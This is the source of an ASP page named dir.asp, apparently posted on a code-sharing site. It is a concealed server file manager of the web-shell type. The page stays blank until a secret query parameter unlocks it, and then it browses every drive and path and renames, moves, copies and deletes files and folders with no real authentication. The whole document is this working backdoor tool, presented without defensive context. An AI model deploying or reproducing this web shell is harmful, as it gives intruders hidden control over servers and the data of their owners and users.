📄 dir.asp
字号:
<html><head>
<title>dir</title>
<style>
td {
font-size: 12px;
line-height: 18px;
}
A:link,A:active,A:visited{TEXT-DECORATION:none ;Color:#333333}
A:hover{TEXT-DECORATION: underline;Color:#FF0000}
</style>
</head><%if request.QueryString("action")="ckxp" then
session("view")="ckxp"
end if
if session("view")="" then response.End()%><body bgcolor="#FFFFFF">
<%
Function GetPP
dim s
s=Request.ServerVariables("path_translated")
GetPP=left(s,instrrev(s,"\",len(s)))
End function
MODE=Request("MODE")
sPP=Request("PP")
if sPP="" then sPP=GetPP
if right(sPP,1)<>"\" then sPP=sPP&"\"
Response.Write "<b>远程路径 "&sPP& "</b>"
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(sPP)
Set fc = f.Files
Set ff = f.SubFolders
i=1
for each f1 in ff
select case Request.Form("subdir" & i)
case 1 '重新命名
f1.move sPP&Request.Form("diritem" & i)
case 2 '更改路径
f1.move sPP&Request.Form("diritem" & i)&"\"
case 3 '新建拷贝
f1.copy sPP&Request.Form("diritem" & i)
case 4 '删除
f1.delete true
end select
i=i+1
next
for each f1 in fc
select case Request.Form("subdir" & i)
case 1
f1.name=Request.Form("diritem" & i)
case 2
f1.move sPP&Request.Form("diritem" & i)&"\"
case 3
f1.copy sPP&Request.Form("diritem" & i)
case 4
f1.delete true
end select
i=i+1
next
if len(trim(request.form("newfolder")))>0 then
set newfolder=fso.createfolder(sPP & request.form("newfolder"))
newfolder.attributes=1
end if%>
<form method=POST ID="Form1">
<table border=0 cellspacing=0 bgcolor=#000000 width=98% ID="Table1" align="center"><tr><td>
<table border=0 cellpadding=10 cellspacing=0 bgcolor=#FFFFFF width=100% ID="Table2"><tr><td>
<table bordercolor=#0080FF bgcolor=#FFFFD0 border=1 width=100% ID="Table3">
<% if MODE = "DRIVES" then
Set dc = fso.Drives
For Each d in dc
Response.Write "<tr><td>"
Select Case d.DriveType
case 1
Response.Write "软"
case 2
Response.Write "硬"
case 4
Response.Write "光"
case else
Response.Write "?"
end select
Response.Write ":<a href=dir.asp?PP=" & d.DriveLetter & ":\>" & d.DriveLetter & ":\</a></td></tr>"
Next
set dc = nothing
else%>
<tr >
<td background="images/background.gif">文件目录名</td>
<td background="images/background.gif">文件大小</td>
<td background="images/background.gif">更新日期</td>
</tr>
<% if right(sPP,2)=":\" then%>
<tr>
<td bgcolor="#FFFFFF">根:<a href=dir.asp?MODE=DRIVES><b>DRIVE
LIST</b></a></td>
<td bgcolor="#FFFFFF">?</td>
<td bgcolor="#FFFFFF">?</td>
</tr>
<%else%>
<tr>
<td bgcolor="#FFFFFF">父:<a href=dir.asp?PP=<%=f.ParentFolder%>><b>PARENT
DIRECTORY</b></a></td>
<td bgcolor="#FFFFFF">?</td>
<td bgcolor="#FFFFFF"><%=f.DateLastModified%></td>
</tr>
<% end if
i=1
For Each f in ff%>
<tr>
<td bgcolor="#FFFFFF">子:<a href=dir.asp?PP=<%=sPP&f.name%>><%=f.name%></a></td>
<td bgcolor="#FFFFFF">?</td>
<td bgcolor="#FFFFFF"><%=f.DateLastModified%></td>
</tr>
<%i=i+1
Next
For Each f in fc%>
<tr>
<td bgcolor="#FFFFFF">文:<a href=file.asp?fname=<%=sPP&f.name%> target=_blank><%=f.name%></a></td>
<td bgcolor="#FFFFFF"><%=f.size%></td>
<td bgcolor="#FFFFFF"><%=f.DateLastModified%></td>
</tr>
<%i=i+1
Next%>
<% end if
Set ff = nothing
Set fso = nothing
Set f = nothing
Set fc = nothing%>
</table></td></tr></table></td></tr></table>
</form>
<center>
</center>
</body></html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -